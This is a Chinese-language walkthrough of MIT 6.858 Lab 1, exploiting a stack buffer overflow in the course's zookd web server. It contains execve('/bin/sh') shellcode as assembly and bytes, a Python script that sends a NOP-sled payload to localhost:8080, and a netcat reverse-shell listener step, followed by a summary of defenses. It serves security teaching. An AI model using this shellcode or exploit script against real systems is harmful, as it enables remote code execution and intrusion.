MIT 6.858 - lab1 - 栈缓冲区溢出漏洞利用
字数 1496 2025-08-06 21:48:56
MIT 6.858 Lab1 - 栈缓冲区溢出漏洞利用详解
实验概述
MIT 6.858是麻省理工学院著名的计算机安全课程,本实验(Lab1)聚焦于栈缓冲区溢出漏洞的利用。实验围绕一个名为"zoobar"的web应用程序展开,通过实际操作来理解缓冲区溢出的原理和利用方法。
实验环境准备
- 实验镜像:使用课程提供的虚拟机镜像(基于QEMU)
- 目标程序:
zookdweb服务器及其相关组件 - 调试工具:GDB (GNU Debugger)
- 系统环境:32位x86架构,Linux系统
栈缓冲区溢出基础
栈内存布局
在32位x86架构中,函数调用时的栈布局如下(从高地址到低地址):
高地址
|----------------|
| 参数n |
| ... |
| 参数1 |
| 返回地址 | ← EIP寄存器指向这里
| 保存的EBP | ← EBP寄存器指向这里
| 局部变量 |
| ... |
低地址
关键概念
- 返回地址:函数执行完毕后应该返回的地址
- 保存的EBP:调用者的栈帧基址
- 缓冲区溢出:当向栈上的缓冲区写入超过其分配大小的数据时,会覆盖相邻内存区域
实验任务解析
任务1:使服务器崩溃
目标:通过缓冲区溢出使zookd服务器崩溃
步骤:
- 分析
http.c中的read_http_request函数 - 发现
buf缓冲区大小为4096字节,但读取HTTP请求时没有正确检查长度 - 构造超过4096字节的HTTP请求
关键代码:
char buf[4096];
char *p = buf;
while (!strstr(p, "\n\n") && !strstr(p, "\r\n\r\n")) {
if (p >= buf + sizeof(buf))
return -1;
// ...
}
漏洞利用:
- 发送不包含
\n\n或\r\n\r\n的长请求(>4096字节) - 覆盖返回地址导致段错误
任务2:注入shellcode
目标:通过缓冲区溢出执行任意代码
步骤:
-
确定偏移量:
- 使用GDB分析崩溃时的栈状态
- 计算缓冲区起始地址到返回地址的偏移
-
构造payload:
[NOP sled][shellcode][填充][返回地址]- NOP sled:增加命中率(
\x90) - Shellcode:执行
/bin/sh的机器码 - 返回地址:指向NOP sled或shellcode
- NOP sled:增加命中率(
-
绕过ASLR:
- 实验环境默认禁用ASLR
- 可通过
cat /proc/sys/kernel/randomize_va_space确认
示例shellcode:
xor %eax, %eax ; clear eax
push %eax ; push null byte
push $0x68732f2f ; push "//sh"
push $0x6e69622f ; push "/bin"
mov %esp, %ebx ; ebx = "/bin//sh" addr
push %eax ; push null
push %ebx ; push "/bin//sh" addr
mov %esp, %ecx ; ecx = argv
xor %edx, %edx ; edx = envp = NULL
mov $0x0b, %al ; syscall number for execve
int $0x80 ; invoke syscall
任务3:利用漏洞获取shell
完整攻击流程:
-
确定
zookd的栈地址范围- 通过
/proc/[pid]/maps查看内存布局 - 或使用GDB的
info proc mappings
- 通过
-
构造恶意HTTP请求:
import socket # NOP sled + shellcode buf = "\x90" * 1024 # NOP sled buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" # Padding to reach return address buf += "A" * (offset - len(buf)) # Overwrite return address (little-endian) buf += "\xef\xbe\xad\xde" # example address # Send the request s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("localhost", 8080)) s.send("GET /" + buf + " HTTP/1.0\r\n\r\n") s.close() -
获取反向shell:
- 修改shellcode连接回攻击者机器
- 使用
nc -lvp 4444监听
防御机制与绕过
常见防御机制
-
栈保护(Stack Canary):
- 在返回地址前插入随机值
- 函数返回前检查该值是否被修改
- 实验环境中默认禁用
-
NX/DEP(数据执行保护):
- 标记内存页为不可执行
- 实验环境中栈默认可执行
-
ASLR(地址空间布局随机化):
- 随机化内存地址
- 实验环境中默认禁用
现代环境下的利用技术
-
ROP(Return-Oriented Programming):
- 利用现有代码片段(gadgets)构造攻击
- 绕过NX保护
-
堆喷射:
- 在堆上大量布置shellcode
- 增加命中概率
实验总结与延伸
关键知识点
- 栈内存布局与函数调用约定
- 缓冲区溢出原理与利用方法
- Shellcode编写与注入技术
- 基本的二进制漏洞分析流程
防御建议
- 使用安全的字符串函数(
strncpy代替strcpy) - 启用所有安全机制(ASLR, NX, Stack Canary)
- 进行边界检查
- 使用现代安全语言(Rust, Go等)
扩展学习
- 堆溢出漏洞利用
- 格式化字符串漏洞
- 整数溢出漏洞
- 现代缓解机制的绕过技术
通过本实验,学生能够深入理解栈缓冲区溢出的原理和利用技术,为后续学习更复杂的安全漏洞打下坚实基础。